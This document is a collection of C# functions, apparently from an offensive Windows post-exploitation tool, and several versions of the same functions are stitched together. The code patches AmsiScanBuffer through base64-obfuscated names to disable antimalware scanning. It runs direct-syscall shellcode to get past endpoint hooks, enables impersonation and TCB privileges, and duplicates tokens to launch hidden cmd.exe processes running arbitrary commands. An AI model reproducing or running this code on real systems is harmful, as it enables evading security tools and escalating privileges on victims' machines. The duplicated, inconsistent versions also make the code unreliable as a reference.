/////////////////////////// Privileges related functions /////////////////////////// public static bool EnablePrivileges(IntPtr handle, List <string> privileges, SysCallManager sysCall) { DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\advapi32.dll"); foreach (var privilege in privileges) { try { var myLuid = new DInvoke.Win32.WinNT._LUID(); object[] lookupPrivileges = { null, privilege, myLuid }; var priv = (bool)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "LookupPrivilegeValue", typeof(DInvoke.Win32.DELEGATES.LookupPrivilegeValue), lookupPrivileges); if (!priv) { continue; } DInvoke.Win32.WinNT._TOKEN_PRIVILEGES myTokenPrivileges; myTokenPrivileges.PrivilegeCount = 1; myTokenPrivileges.Privileges = new DInvoke.Win32.WinNT._LUID_AND_ATTRIBUTES[1]; myTokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; myTokenPrivileges.Privileges[0].Luid = myLuid; object[] adjustPrivileges = { handle, false, myTokenPrivileges, 0, IntPtr.Zero, IntPtr.Zero }; DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "AdjustTokenPrivileges", typeof(DInvoke.Win32.DELEGATES.AdjustTokenPrivileges), adjustPrivileges); } catch { return(false); } } return(true); }
public static bool handleAM(SysCallManager sysCall) { var hook = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; uint oldProtect = 0, x = 0; var shellCode = sysCall.GetSysCallAsm("NtWriteVirtualMemory"); DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\kernel32.dll"); object[] loadLibrary = { Encoding.UTF8.GetString(Convert.FromBase64String("YW1zaS5kbGw=")) }; IntPtr libraryAddress = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "LoadLibraryA", typeof(DInvoke.Win32.DELEGATES.LoadLibrary), loadLibrary); object[] procAddress = { libraryAddress, Encoding.UTF8.GetString(Convert.FromBase64String("QW1zaVNjYW5CdWZmZXI=")) }; var address = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "GetProcAddress", typeof(DInvoke.Win32.DELEGATES.GetProcAddress), procAddress); if (address == IntPtr.Zero) { return(false); } object[] parameters = { (IntPtr)(-1), address, (UIntPtr)hook.Length, (uint)0x004, oldProtect }; IntPtr hProcess = Process.GetCurrentProcess().Handle; IntPtr response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx", typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters); oldProtect = (uint)parameters[4]; object[] virtualAlloc = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve, DInvoke.Win32.Kernel32.MemoryProtectionFlags.ReadWrite }; var shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc", typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc); Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length); var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtWriteVirtualMemory)); var arguments = new object[] { hProcess, address, hook, (UIntPtr)(hook.Length), IntPtr.Zero }; uint old = 0; parameters = new object[] { (IntPtr)(-1), shellCodeBuffer, (UIntPtr)shellCode.Length, (uint)DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead, old }; response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx", typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters); var returnValue = sysCallDelegate.DynamicInvoke(arguments); if ((int)returnValue != 0) { return(false); } parameters = new object[] { (IntPtr)(-1), address, (UIntPtr)hook.Length, oldProtect, x }; response = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualProtectEx", typeof(DInvoke.Win32.DELEGATES.VirtualProtectEx), parameters); return(true); }
public static List <int> getSystemPID(SysCallManager sysCall) { string cmd = "FOR /F \"tokens=1,2,3,4,5\" %A in ('\"query process system | findstr/n ^^|@ findstr /b \"^iii:\"\"') DO echo %E | findstr /b /r \"[0-9]\""; string h = ""; bool cont = true; int i = 1; List <int> l = new List <int>(); while (cont) { h = cmd.Replace("iii", i.ToString()); string pid = ExecuteCommand(h, sysCall); if (pid.Contains("ERR")) { cont = false; } else { string[] spl = pid.Split('\n'); try { l.Add(int.Parse(spl[2])); } catch { } ++i; } } l.Sort(); l.Reverse(); return(l); }
/////////////////////////// Privileges related functions /////////////////////////// public static bool EnablePrivileges(IntPtr handle, List <string> privileges, SysCallManager sysCall) { DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\advapi32.dll"); foreach (var privilege in privileges) { try { var myLuid = new DInvoke.Win32.WinNT._LUID(); object[] lookupPrivileges = { null, privilege, myLuid }; var priv = (bool)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "LookupPrivilegeValueA", typeof(DInvoke.Win32.DELEGATES.LookupPrivilegeValue), lookupPrivileges); if (!priv) { continue; } DInvoke.Win32.WinNT._LUID_AND_ATTRIBUTES luidAndAttributes = new DInvoke.Win32.WinNT._LUID_AND_ATTRIBUTES(); luidAndAttributes.Luid = (DInvoke.Win32.WinNT._LUID)lookupPrivileges[2]; luidAndAttributes.Attributes = SE_PRIVILEGE_ENABLED; DInvoke.Win32.WinNT._TOKEN_PRIVILEGES newState; newState.PrivilegeCount = 1; newState.Privileges = luidAndAttributes; DInvoke.Win32.WinNT._TOKEN_PRIVILEGES previousState = new DInvoke.Win32.WinNT._TOKEN_PRIVILEGES(); uint returnLength = 0; object[] adjustPrivileges = { handle, false, newState, (uint)Marshal.SizeOf(newState), previousState, returnLength }; DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "AdjustTokenPrivileges", typeof(DInvoke.Win32.DELEGATES.AdjustTokenPrivileges), adjustPrivileges); } catch { return(false); } } return(true); }
public static int getSystemPID(SysCallManager sysCall) { string cmd = "FOR /F \"tokens=1,2,3,4,5\" %A in ('\"query process system | findstr svchost.exe | findstr/n ^^| findstr /b \"^15:\"\"') DO echo %E | findstr /b /r \"[0-9]\""; string pid = ExecuteCommand(cmd, sysCall); string[] spl = pid.Split('\n'); return(int.Parse(spl[2])); }
// Code from https://www.pinvoke.net/default.aspx/Constants/SECURITY_MANDATORY.html public static bool IsHighIntegrity(SysCallManager sysCall) { var hToken = IntPtr.Zero; GetProcessToken(Process.GetCurrentProcess().Handle, TokenAccessFlags.TokenAllAccess, out hToken, sysCall); if (hToken == IntPtr.Zero) { return(false); } try { var pb = Marshal.AllocCoTaskMem(1000); try { uint cb = 1000; if (GetTokenInformation(hToken, TokenInformationClass.TokenIntegrityLevel, pb, cb, out cb)) { var pSid = Marshal.ReadIntPtr(pb); var dwIntegrityLevel = Marshal.ReadInt32(GetSidSubAuthority(pSid, (Marshal.ReadByte(GetSidSubAuthorityCount(pSid)) - 1U))); return(dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID); } } finally { Marshal.FreeCoTaskMem(pb); } } finally { CloseHandle(hToken); } return(false); }
public static void Start() { var sysCall = new SysCallManager(); try { var token = WindowsIdentity.GetCurrent().Token; var privileges = new List <string> { "SeImpersonatePrivilege", "SeTcbPrivilege", "SeAssignPrimaryTokenPrivilege", "SeIncreaseQuotaPrivilege" }; var currentToken = IntPtr.Zero; GetProcessToken(Process.GetCurrentProcess().Handle, TokenAccessFlags.TokenAdjustPrivileges, out currentToken, sysCall); EnablePrivileges(currentToken, privileges); CloseHandle(currentToken); const TokenAccessFlags tokenAccess = TokenAccessFlags.TokenQuery | TokenAccessFlags.TokenAssignPrimary | TokenAccessFlags.TokenDuplicate | TokenAccessFlags.TokenAdjustDefault | TokenAccessFlags.TokenAdjustSessionId; if (!DuplicateTokenEx(token, tokenAccess, IntPtr.Zero, SecurityImpersonationLevel.SecurityImpersonation, TokenType.TokenPrimary, out var newToken)) { return; } var startupInfo = new StartupInfo(); startupInfo.cb = Marshal.SizeOf(startupInfo); startupInfo.lpDesktop = ""; startupInfo.wShowWindow = 0; startupInfo.dwFlags |= 0x00000001; const LogonFlags logonFlags = new LogonFlags(); if (CreateProcessAsUserW(newToken, null, @"c:\windows\system32\cmd.exe /Q /C sc delete NewDefaultService2 && exit", IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref startupInfo, out _)) { TokenManager.Token = newToken; TokenManager.Method = 1; } else { if (!CreateProcessWithTokenW(newToken, logonFlags, null, @"c:\windows\system32\cmd.exe /Q /C sc delete NewDefaultService2 && exit", 0, IntPtr.Zero, null, ref startupInfo, out _)) { return; } TokenManager.Token = newToken; TokenManager.Method = 2; } } catch { } }
public static void GetProcessToken(IntPtr handle, TokenAccessFlags access, out IntPtr currentToken, SysCallManager sysCall) { var shellCode = sysCall.GetSysCallAsm("NtOpenProcessToken"); var shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellCode.Length, MemoryAllocationFlags.Commit | MemoryAllocationFlags.Reserve, MemoryProtectionFlags.ExecuteReadWrite); Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length); var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtOpenProcessToken)); var token = IntPtr.Zero; var arguments = new object[] { handle, access, token }; var returnValue = sysCallDelegate.DynamicInvoke(arguments); currentToken = (int)returnValue == 0 ? (IntPtr)arguments[2] : IntPtr.Zero; }
public static void GetProcessHandle(int pid, out IntPtr handle, ProcessAccessFlags flags, SysCallManager sysCall) { handle = IntPtr.Zero; var clientId = new CLIENT_ID() { UniqueProcess = new IntPtr(pid), UniqueThread = IntPtr.Zero }; var objectAtt = new OBJECT_ATTRIBUTES(null, 0); var shellCode = sysCall.GetSysCallAsm("NtOpenProcess"); var shellCodeBuffer = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellCode.Length, MemoryAllocationFlags.Commit | MemoryAllocationFlags.Reserve, MemoryProtectionFlags.ExecuteReadWrite); Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length); var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtOpenProcess)); var token = IntPtr.Zero; var arguments = new object[] { handle, flags, objectAtt, clientId }; var returnValue = sysCallDelegate.DynamicInvoke(arguments); handle = (int)returnValue == 0 ? (IntPtr)arguments[0] : IntPtr.Zero; }
/////////////////////////// Commands execution /////////////////////////// public static string ExecuteCommand(string command, SysCallManager sysCall) { var output = ""; if (TokenManager._token == IntPtr.Zero && TokenManager._method == 0) { var process = new Process(); var startInfo = new ProcessStartInfo { WindowStyle = ProcessWindowStyle.Hidden, FileName = @"C:\windows\system32\cmd.exe", Arguments = "/C " + command, RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false }; process.StartInfo = startInfo; process.Start(); output = process.StandardOutput.ReadToEnd(); if (output == "") { output = string.Concat("ERR:", process.StandardError.ReadToEnd()); } process.WaitForExit(); process.Close(); } else { var outRead = IntPtr.Zero; var outWrite = IntPtr.Zero; DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\kernel32.dll"); var saAttr = new DInvoke.Win32.Kernel32.SecurityAttributes { nLength = Marshal.SizeOf(typeof(DInvoke.Win32.Kernel32.SecurityAttributes)), bInheritHandle = true, lpSecurityDescriptor = IntPtr.Zero }; object[] createPipe = { outRead, outWrite, saAttr, 0 }; var shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "CreatePipe", typeof(DInvoke.Win32.DELEGATES.CreatePipe), createPipe); outRead = (IntPtr)createPipe[0]; outWrite = (IntPtr)createPipe[1]; saAttr = (DInvoke.Win32.Kernel32.SecurityAttributes)createPipe[2]; var startupInfo = new DInvoke.Win32.WinNT.StartupInfo(); startupInfo.cb = Marshal.SizeOf(startupInfo); startupInfo.lpDesktop = ""; startupInfo.hStdOutput = outWrite; startupInfo.hStdError = outWrite; startupInfo.wShowWindow = 0; startupInfo.dwFlags |= 0x00000101; var l = new DInvoke.Win32.Kernel32.LogonFlags(); switch (TokenManager._method) { case 1: CreateProcessAsUserW(TokenManager._token, null, @"c:\windows\system32\cmd.exe /Q /C" + @command, IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref startupInfo, out _); break; case 2: CreateProcessWithTokenW(TokenManager._token, l, null, @"c:\windows\system32\cmd.exe /Q /C" + @command, 0, IntPtr.Zero, null, ref startupInfo, out _); break; default: CreateProcessWithLogonW(TokenManager._credentials[0], TokenManager._credentials[1], TokenManager._credentials[2], l, null, @"c:\windows\system32\cmd.exe /Q /C" + command, 0, 0, null, ref startupInfo, out _); break; } var buf = new byte[100]; var dwRead = 0; Thread.Sleep(500); while (true) { var bSuccess = ReadFile(outRead, buf, 100, ref dwRead, IntPtr.Zero); output = string.Concat(output, Encoding.Default.GetString(buf)); if (!bSuccess || dwRead < 100) { break; } } CloseHandle(outRead); CloseHandle(outWrite); } return(output); }
public static void Start() { var sysCall = new SysCallManager(); try { var token = WindowsIdentity.GetCurrent().Token; var newToken = IntPtr.Zero; var privileges = new List <string> { "SeImpersonatePrivilege", "SeTcbPrivilege", "SeAssignPrimaryTokenPrivilege", "SeIncreaseQuotaPrivilege" }; var currentToken = IntPtr.Zero; GetProcessToken(Process.GetCurrentProcess().Handle, DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenAdjustPrivileges, out currentToken, sysCall); EnablePrivileges(currentToken, privileges, sysCall); CloseHandle(currentToken); const DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS tokenAccess = DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenQuery | DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenAssignPrimary | DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenDuplicate | DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenAdjustDefault | DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS.TokenAdjustSessionId; DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\advapi32.dll"); object[] duplicateToken = { token, tokenAccess, IntPtr.Zero, DInvoke.Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, DInvoke.Win32.WinNT.TOKEN_TYPE.TokenPrimary, newToken }; bool status = (bool)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "DuplicateTokenEx", typeof(DInvoke.Win32.DELEGATES.DuplicateTokenEx), duplicateToken); if (!status) { return; } else { newToken = (IntPtr)duplicateToken[5]; } var startupInfo = new DInvoke.Win32.WinNT.StartupInfo(); startupInfo.cb = Marshal.SizeOf(startupInfo); startupInfo.lpDesktop = ""; startupInfo.wShowWindow = 0; startupInfo.dwFlags |= 0x00000001; const DInvoke.Win32.Kernel32.LogonFlags logonFlags = new DInvoke.Win32.Kernel32.LogonFlags(); if (CreateProcessAsUserW(newToken, null, @"c:\windows\system32\cmd.exe /Q /C whoami && exit", IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref startupInfo, out _)) { TokenManager._token = newToken; TokenManager._method = 1; } else { if (!CreateProcessWithTokenW(newToken, logonFlags, null, @"c:\windows\system32\cmd.exe /Q /C whoami && exit", 0, IntPtr.Zero, null, ref startupInfo, out _)) { return; } TokenManager._token = newToken; TokenManager._method = 2; } } catch { } }
/////////////////////////// Impersonation /////////////////////////// public static void DuplicateToken(IntPtr token, DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS tokenAccess, DInvoke.Win32.WinNT._SECURITY_IMPERSONATION_LEVEL se, DInvoke.Win32.WinNT.TOKEN_TYPE type, out IntPtr duplicated, SysCallManager sysCall) { duplicated = IntPtr.Zero; DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\advapi32.dll"); object[] duplicateToken = { token, tokenAccess, IntPtr.Zero, se, type, duplicated }; bool status = (bool)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "DuplicateTokenEx", typeof(DInvoke.Win32.DELEGATES.DuplicateTokenEx), duplicateToken); if (!status) { duplicated = IntPtr.Zero; } else { duplicated = (IntPtr)duplicateToken[5]; } }
public static void GetProcessToken(IntPtr handle, DInvoke.Win32.WinNT._TOKEN_ACCESS_FLAGS access, out IntPtr currentToken, SysCallManager sysCall) { DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\kernel32.dll"); var shellCode = sysCall.GetSysCallAsm("NtOpenProcessToken"); object[] virtualAlloc = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve, DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteReadWrite }; var shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc", typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc); Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length); var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtOpenProcessToken)); var token = IntPtr.Zero; var arguments = new object[] { handle, access, token }; var returnValue = sysCallDelegate.DynamicInvoke(arguments); currentToken = (int)returnValue == 0 ? (IntPtr)arguments[2] : IntPtr.Zero; }
/////////////////////////// Processes related functions /////////////////////////// public static void GetProcessHandle(int pid, out IntPtr handle, DInvoke.Win32.Kernel32.ProcessAccessFlags flags, SysCallManager sysCall) { handle = IntPtr.Zero; var clientId = new DInvoke.Win32.Kernel32.CLIENT_ID() { UniqueProcess = new IntPtr(pid), UniqueThread = IntPtr.Zero }; var objectAtt = new DInvoke.Win32.Kernel32.OBJECT_ATTRIBUTES(null, 0); DInvoke.PE.PE_MANUAL_MAP moduleDetails = sysCall.getMappedModule("C:\\Windows\\System32\\kernel32.dll"); var shellCode = sysCall.GetSysCallAsm("NtOpenProcess"); object[] virtualAlloc = { IntPtr.Zero, (UIntPtr)shellCode.Length, DInvoke.Win32.Kernel32.MemoryAllocationFlags.Commit | DInvoke.Win32.Kernel32.MemoryAllocationFlags.Reserve, DInvoke.Win32.Kernel32.MemoryProtectionFlags.ExecuteReadWrite }; var shellCodeBuffer = (IntPtr)DInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "VirtualAlloc", typeof(DInvoke.Win32.DELEGATES.VirtualAlloc), virtualAlloc); Marshal.Copy(shellCode, 0, shellCodeBuffer, shellCode.Length); var sysCallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodeBuffer, typeof(NtOpenProcess)); var token = IntPtr.Zero; var arguments = new object[] { handle, flags, objectAtt, clientId }; var returnValue = sysCallDelegate.DynamicInvoke(arguments); handle = (int)returnValue == 0 ? (IntPtr)arguments[0] : IntPtr.Zero; }